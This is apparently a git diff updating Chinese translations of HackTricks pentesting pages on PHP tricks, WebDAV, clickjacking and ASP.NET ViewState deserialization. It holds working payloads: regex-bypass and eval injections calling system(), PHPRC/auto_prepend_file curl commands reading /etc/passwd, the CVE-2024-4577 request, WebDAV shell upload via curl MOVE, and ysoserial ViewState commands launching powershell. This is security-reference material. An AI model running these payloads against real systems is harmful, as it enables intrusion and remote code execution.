@ -70,11 +70,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
### preg_match(/^.\*/)
**`preg_match()`** 可用于 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式****黑名单****出现在** **用户输入** 中,如果没有,代码可以继续执行)。
**`preg_match()`** 可以用来 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式****黑名单****出现在** 用户输入中,如果没有,代码可以继续执行)。
#### New line bypass
然而,当限定正则表达式的开始时,`preg_match()` **检查用户输入的第一行**,因此如果你能够以 **多行** 发送输入,你可能能够绕过检查。示例:
然而,当限定正则表达式的开始时,`preg_match()` **检查用户输入的第一行**,因此如果你能够以 **多行** 发送输入,你可能能够绕过这个检查。示例:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
要绕过此检查,您可以**使用 URL 编码发送带有换行符的值**`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送
要绕过此检查,您可以**发送带有换行符的 URL 编码值**`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**
```php
{
"cmd": "cat /etc/passwd"
@ -106,21 +106,21 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
#### ReDoS 绕过
技巧来源: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
技巧来源: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system(<verybadcommand>)}` 以获得 SSTI --> RCE --> flag :)**。
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜以获取 SSTI --> RCE --> flag :)**。
好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_0001M。\
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤50万向前和50万向后
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### PHP 混合类型用于混淆
### PHP混淆的类型转换
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -133,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
如果 PHP 在重定向到另一个页面后没有调用 **`die`** 或 **`exit`** 函数,且在设置了头部 `Location`PHP 将继续执行并将数据附加到主体:
如果 PHP 在重定向到另一个页面,但在设置头部 `Location`后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到主体:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -153,7 +153,7 @@ readfile($page);
## 更多技巧
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
- 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\<USERNAME>** 以查看 php 目录是否被激活。
@ -162,7 +162,7 @@ readfile($page);
### password_hash/password_verify
这些函数通常在 PHP 中用于 **从密码生成哈希****检查** 密码是否与哈希匹配。\
支持的算法有:`PASSWORD_DEFAULT``PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用算法对大于 72 字节的内容进行哈希时,仅会使用前 72B
支持的算法有:`PASSWORD_DEFAULT``PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用算法对大于 72 字节的内容进行哈希时,仅会使用前 72B
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -176,7 +176,7 @@ True
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时PHOP 不会在响应中设置头部。
这允许绕过例如在代码中设置的 CSP 头部,如
这允许绕过例如在代码中设置的 CSP 头部:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -200,7 +200,7 @@ php-ssrf.md
## 代码执行
**system("ls");**\
&#xNAN;**\`ls\`;**\
**\`ls\`;**\
**shell_exec("ls");**
[查看此处以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
@ -210,10 +210,10 @@ php-ssrf.md
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
执行“replace”参数中的代码至少需要一个匹配项。\
此选项在 PHP 5.5.0 中已被**弃用**。
在“replace”参数中执行代码至少需要一个匹配。\
preg_replace选项在PHP 5.5.0中已被**弃用**。
### **通过 Eval() 进行 RCE**
### **通过Eval()进行RCE**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
@ -265,18 +265,18 @@ usort();}phpinfo;#, "cmp");
- `?order=id);}//`:我们收到一个 **警告**。这似乎是正确的。
- `?order=id));}//`:我们收到一条错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
### **通过 .httaccess 进行 RCE**
### **通过 .httaccess 实现 RCE**
如果您可以 **上传** 一个 **.htaccess** 文件,那么您可以 **配置** 多个内容,甚至执行代码(配置带有 .htaccess 扩展名的文件可以被 **执行**)。
不同的 .htaccess shell 可以在 [这里](https://github.com/wireghoul/htshells) 找到。
### 通过环境变量进行 RCE
### 通过环境变量实现 RCE
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为来获 **RCE**
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为来获 **RCE**
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**在任何其他代码之前。
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时在任何其他代码之前执行**
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
@ -284,7 +284,7 @@ usort();}phpinfo;#, "cmp");
- **PHPRC** - 另一个选项
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 或者要获 RCE启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
- 或者要获 RCE启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 技术 [**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
@ -294,7 +294,7 @@ Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。请查看来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**this post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -311,14 +311,14 @@ phpinfo();
```
## PHP Sanitization bypass & Brain Fuck
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个脑残 PHP 代码的好主意,允许的字符非常少。\
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成脑残 PHP 代码的好主意,允许的字符非常少。\
此外,还提出了一种有趣的方法来执行函数,使他们能够绕过多个检查:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP 静态分析
查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
@ -352,7 +352,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE查看以下页面以了解如何
如果在一个页面中你可以**创建一个任意类的新对象**,你可能能够获得 RCE查看以下页面以了解如何
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -411,7 +411,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl 类似
### 类似 Perl
```php
<?php
$_=[];

View File

@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
当处理一个**启用WebDav的HTTP服务器**时,如果你拥有正确的**凭据**,通常通过**HTTP基本认证**进行验证,就可以**操纵文件**。控制这样的服务器通常涉及**上传和执行webshell**。
当处理一个**启用 WebDav 的 HTTP 服务器**时,如果您拥有正确的**凭据**,通常通过**HTTP 基本认证**进行验证,就可以**操纵文件**。控制这样的服务器通常涉及**上传和执行 webshell**。
访问WebDav服务器通常需要**有效的凭据**[**WebDav暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth)是获取它们的常见方法。
访问 WebDav 服务器通常需要**有效的凭据**[**WebDav 暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth)是获取它们的常见方法。
为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,可以:
为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,可以:
- 如果没有限制,**直接上传**具有**可执行扩展名**的文件。
- **重命名**上传的非可执行文件(如.txt为可执行扩展名。
- **重命名**上传的非可执行文件(如 .txt为可执行扩展名。
- **复制**上传的非可执行文件,将其扩展名更改为可执行的扩展名。
## DavTest
**Davtest**尝试**上传多个不同扩展名的文件**并**检查**扩展名是否被**执行**
**Davtest** 尝试**上传多个不同扩展名的文件**并**检查**扩展名是否被**执行**
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav 漏洞
这个漏洞非常有趣。**WebDav** 不允许 **上传****重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 如同它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"****不要忘记 ";"**)。
这个漏洞非常有趣。**WebDav** 不允许 **上传****重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 就像它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"****不要忘记 ";"**)。
然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 **复制/移动** 到一个 ".asp;.txt" 文件。通过网络服务器访问该文件时,它将被 **执行**cadaver 会说移动操作没有成功,但实际上是成功的)。
@ -48,7 +48,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
## 后凭证
如果 Webdav 使用的是 Apache 服务器,你应该查看 Apache 中配置的网站。通常:\
\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
\_**/etc/apache2/sites-enabled/000-default**_
在里面你可能会找到类似的内容:
```
@ -67,7 +67,7 @@ Require valid-user
```
在这种类型的文件中,您将找到 **username****hash** 的密码。这些是 webdav 服务器用于验证用户的凭据。
您可以尝试 **crack** 它们,或者如果出于某种原因您想要 **access** webdav 服务器,可以 **add more**
您可以尝试 **crack** 它们,或者如果出于某种原因您想要 **access** **webdav** 服务器,可以 **add more**
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```

View File

@ -8,7 +8,7 @@
### 预填充表单技巧
有时可以在加载页面时**使用 GET 参数填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
有时可以在加载页面时使用 GET 参数**填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
### 使用拖放填充表单
@ -91,7 +91,7 @@ background: #F00;
如果您已识别出一个 **需要用户点击** 某个元素以 **触发** XSS 的 **XSS 攻击**,并且该页面 **易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\
示例:\
&#xNAN;_&#x59;您在账户的某些私人细节中发现了一个 **自我 XSS**只有您可以设置和读取的细节)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** **表单**。_\
_您在账户的某些私人细节中发现了一个 **自我 XSS**这些细节 **只有您可以设置和读取**)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** **表单**。_\
\_\_攻击者可以准备一个 **点击劫持** 攻击,通过 **预填充** **表单** 以包含 **XSS 负载**,并 **欺骗** **用户** **提交** 表单。因此,**当表单被提交** 且值被修改时,**用户将执行 XSS**。
## 减轻点击劫持的策略
@ -108,14 +108,14 @@ background: #F00;
然而,这些框架破坏脚本可能会被规避:
- **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms``allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这防止了 iframe 验证它是否是顶部窗口,例如,
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms``allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这会阻止 iframe 验证它是否是顶部窗口,例如,
```html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
`allow-forms``allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin``allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
`allow-forms``allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin``allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
### 服务器端防御
@ -130,7 +130,7 @@ sandbox="allow-forms allow-scripts"></iframe>
#### 内容安全策略 (CSP) frame-ancestors 指令
**CSP 中的 `frame-ancestors` 指令** 是建议的 Clickjacking 保护方法:
**CSP 中的 `frame-ancestors` 指令** 是防止 Clickjacking 的建议方法:
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`
@ -153,22 +153,22 @@ sandbox="allow-forms allow-scripts"></iframe>
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
此策略允许来自相同self和 https://trusted-website.com 的框架。
此策略允许来自相同源self和 https://trusted-website.com 的框架。
#### `child-src` 指令
- 在 CSP 级别 2 中引入,用于设置 web workers 和框架的有效源。
- 在 CSP 级别 2 中引入,用于设置 web workers 和框架的有效源。
- 作为 frame-src 和 worker-src 的后备。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
策略允许来自相同源self和 https://trusted-website.com 的框架和工作者。
策略允许来自相同源self和 https://trusted-website.com 的框架和工作者。
**使用说明:**
- 弃用child-src 正在被逐步淘汰,取而代之的是 frame-src 和 worker-src
- 弃用child-src 正在逐步被 frame-src 和 worker-src 取代
- 回退行为:如果 frame-src 缺失,则使用 child-src 作为框架的回退。如果两者都缺失,则使用 default-src。
- 严格的源定义:在指令中仅包含受信任的源,以防止利用。
- 严格的源定义:在指令中仅包含可信源以防止利用。
#### JavaScript 框架破坏脚本
@ -178,9 +178,9 @@ if (top !== self) {
top.location = self.location
}
```
#### 使用反-CSRF 令牌
#### 使用反-CSRF令牌
- **令牌验证:** web 应用程序中使用反-CSRF 令牌,以确保状态更改请求是用户有意发出的,而不是通过 Clickjacked 页面发出的。
- **令牌验证:**Web应用程序中使用反-CSRF令牌以确保状态更改请求是用户有意发出的而不是通过Clickjacked页面发出的。
## 参考文献

View File

@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
## 什么是 ViewState
**ViewState** 是 ASP.NET 中用于在网页之间维护页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。
@ -17,7 +19,7 @@ ViewState 信息可以通过以下属性或其组合来表征:
## 测试用例
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要:
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要:
1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey因此没有适用的方法来识别它。
2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
@ -44,7 +46,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
为了**启用 ViewState MAC**,我们需要对特定的 aspx 文件进行以下更改:
为了**启用 ViewState MAC**,我们需要在特定的 aspx 文件上进行以下更改:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -77,6 +79,8 @@ git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
或者,它可以直接连接到目标 URL 并尝试从 HTML 中提取 viewstate
```
pip install badsecrets
@ -86,7 +90,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
为了大规模搜索易受攻击的 viewstate结合子域枚举可以使用 `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) 模块:
大规模搜索易受攻击的 viewstate结合子域枚举可以使用 `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) 模块:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
@ -104,19 +108,19 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
```
### 测试用例3 .Net < 4.5 EnableViewStateMac=true/false ViewStateEncryptionMode=true
在这种情况下不知道该参数是否受到MAC保护。因此值可能被加密,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
在这种情况下不知道该参数是否受到MAC保护。因此值可能是加密的,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
**在这种情况下,** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`** 已设置为 _**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`** 参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用**案例 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令通过ViewState反序列化漏洞执行RCE。
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用**案例 2**中使用的 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 命令,通过 ViewState 反序列化漏洞执行 RCE。
- 从请求中删除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞否则将返回Viewstate MAC验证错误利用将失败。
- 从请求中删除 `__VIEWSTATEENCRYPTED` 参数,以利用 ViewState 反序列化漏洞,否则将返回 Viewstate MAC 验证错误,利用将失败。
### 测试用例4 .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false除非两个属性都为false
### 测试用例4 .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false除非两个属性都为 false
我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架如下所示。
我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。
```xml
<httpRuntime targetFramework="4.5" />
```
@ -126,7 +130,7 @@ compatibilityMode="Framework45"
```
如前所述,**值是加密的。** 然后,要发送**有效的有效负载,攻击者需要密钥**。
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找正在使用的密钥:
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找正在使用的密钥:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -134,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
对于IISDirPath和TargetPagePath的更详细描述请[阅此处](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
对于IISDirPath和TargetPagePath的更详细描述请[见这里](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
或者,使用[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(带生成器值):
```bash
@ -151,28 +155,26 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证PoC中得到了展示该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多详细信息,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证PoC中得到了展示该 PoC 可以通过一个名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
### 测试用例 6 使用 ViewStateUserKeys
**ViewStateUserKey** 属性可以用来 **防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 有效负载,则 **有效负载将不会被应用程序处理**。\
您需要使用一个额外的参数正确创建有效负载:
您需要使用一个额外的参数才能正确创建有效负载:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### 成功利用的结果 <a href="#poc" id="poc"></a>
对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功** 工作,则服务器响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
对于所有测试用例,如果 ViewState YSoSerial.Net 负载 **成功** 工作,则服务器响应“**500 Internal server error**”,响应内容为“**该页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
查看 [进一步信息这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## 参考文献
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
